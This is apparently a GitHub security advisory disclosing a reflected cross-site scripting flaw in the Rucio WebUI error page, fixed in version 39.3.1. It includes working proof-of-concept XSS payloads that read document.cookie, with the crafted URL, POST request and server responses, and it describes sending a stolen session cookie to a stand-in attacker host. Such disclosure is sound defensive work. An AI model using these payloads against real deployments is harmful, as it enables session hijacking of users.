GitHub Security Advisory: GHSA-h79m-5jjm-jm4q
Package: rucio-webui (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Vulnerable versions: >= 39.0.0rc1, < 39.3.1
Patched in: 39.3.1

Summary: Rucio WebUI has a Reflected Cross-site Scripting Vulnerability

Details:
### Summary
A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.

#### Details
The WebUI error message renders `ExceptionMessage` (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in `common.py` - specifically `error_headers -> _error_response -> generate_http_error_flask`, which places `ExceptionMessage` into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in `lib/rucio/web/ui/static/*.js` such as `rule.js`, `request_rule.js`, `list_rules.js`) with `jQuery.html(...)` or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).

### PoC
1) Reflected XSS via account parameter (browse or load URL in WebUI context):
```text
https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
```
Server response (excerpt):
```http
HTTP/1.1 500 INTERNAL SERVER ERROR
ExceptionClass: AccountNotFound
ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist
Content-Type: application/octet-stream

{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}
```

**XSS payload triggering (Displaying session token) when browsing to crafted URL**
<img width="1210" height="510" alt="XSS payload triggering (Displaying session token) when browsing to crafted URL" src="https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6" />

When the WebUI inserts `ExceptionMessage` into the page with `.html(...)`, the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).

2) Reflected XSS via account key attribute creation error:
```http
POST /proxy/accounts/pentest/attr/XSS HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://127.0.0.1:8443
X-Rucio-Script: webui::-ui-account
{"key":"XSS","value":"<script>alert(document.cookie)</script>"}
```

**XSS payload triggering (Displaying session token) on error when creating account key**
<img width="1322" height="593" alt="XSS payload triggering (Displaying session token) on error when creating account key" src="https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72" />

Server response (excerpt) contains `ExceptionMessage` with the raw `<script>` payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not someth